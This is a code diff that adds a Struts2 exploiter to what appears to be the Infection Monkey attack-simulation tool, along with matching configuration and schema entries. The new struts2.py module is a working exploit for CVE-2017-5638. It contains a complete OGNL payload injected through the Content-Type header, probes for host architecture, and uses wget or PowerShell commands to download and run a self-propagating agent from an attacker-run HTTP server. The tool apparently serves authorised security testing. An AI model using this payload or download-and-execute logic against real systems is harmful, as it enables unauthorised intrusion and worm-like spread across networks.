diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f4ca4e89e..4e87243a8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger __author__ = 'itamar' @@ -148,7 +148,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, # multi + ElasticGroovyExploiter, Struts2Exploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index bc0156d8a..a6961331f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "Struts2Exploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..f2d5d0c5b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from struts2 import Struts2Exploiter diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index e69de29bb..f3a819169 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -0,0 +1,204 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +from network.tools import check_tcp_ports +import logging +from exploit import HostExploiter +from exploit.tools import get_target_monkey, get_monkey_depth +from tools import build_monkey_commandline, HTTPTools + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +ID_STRING = "M0NK3YSTRUTS2" +MONKEY_ARG = "m0nk3y" +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) +# Command used to check whether host is vulnerable +CHECK_COMMAND = "echo %s" % ID_STRING +# Commands used to check for architecture +CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "%s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" + +WEB_PORTS = [80, 443, 8080] +# Timeouts if the payload is wrong +DOWNLOAD_TIMEOUT = 30 +# This is set so that we don't have to wait for monkeys' output (in seconds) +RESPONSE_TIMEOUT = 1 + + +class Struts2Exploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + + def exploit_host(self): + # TODO add skip if file exists + # Initializing vars for convenience + ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) + dropper_path_linux = self._config.dropper_target_path_linux + dropper_path_win_32 = self._config.dropper_target_path_win_32 + dropper_path_win_64 = self._config.dropper_target_path_win_64 + + if not ports: + LOG.info("All web ports are closed on %r, skipping", self.host) + return False + + for port in ports: + if port == 443: + current_host = "https://%s:%d" % (self.host.ip_addr, port) + else: + # TODO remove struts from url + current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) + # Get full URL + current_host = self.get_redirected(current_host) + # Get os architecture so that we don't have to update monkey + + LOG.info("Trying to exploit with struts2") + # Check if host is vulnerable and get host os architecture + if 'linux' in self.host.os['type']: + host_arch = Struts2Exploiter.try_exploit_linux(current_host) + else: + host_arch = Struts2Exploiter.try_exploit_windows(current_host) + + if host_arch: + self.host.os['machine'] = host_arch + + if current_host and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + # Form command according to os + if 'linux' in self.host.os['type']: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): + return True + command = WGET_HTTP % {'monkey_path': dropper_path_linux, + 'http_path': http_path, 'parameters': cmdline} + else: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) + or self.check_remote_file(current_host, dropper_path_win_64)): + return True + command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(current_host, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def check_remote_file(self, host, path): + command = EXISTS % path + resp = self.exploit(host, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + @staticmethod + def try_exploit_windows(url): + resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + if resp and ID_STRING in resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def try_exploit_linux(url): + resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + if resp and ID_STRING in resp: + if "x86_64" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + return False + + @staticmethod + def exploit(url, cmd, timeout=None): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :param timeout: How long to wait for response in seconds(if monkey is executed + it's better not to wait it's whole output + :return: response + """ + page = "" + + payload = "%{(#_='multipart/form-data')." + payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + payload += "(#_memberAccess?" + payload += "(#_memberAccess=#dm):" + payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + payload += "(#ognlUtil.getExcludedPackageNames().clear())." + payload += "(#ognlUtil.getExcludedClasses().clear())." + payload += "(#context.setMemberAccess(#dm))))." + payload += "(#cmd='%s')." % cmd + payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + payload += "(#p=new java.lang.ProcessBuilder(#cmds))." + payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." + payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + payload += "(#ros.flush())}" + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request, timeout=timeout).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead, e: + page = e.partial + except Exception: + LOG.info("Request timed out, because monkey is still running on remote host") + + return page diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 390968a86..c3534c95c 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -80,6 +80,13 @@ SCHEMA = { ], "title": "ElasticGroovy Exploiter" }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + } ] }, "finger_classes": { @@ -609,7 +616,8 @@ SCHEMA = { "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", - "ElasticGroovyExploiter" + "ElasticGroovyExploiter", + "Struts2Exploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN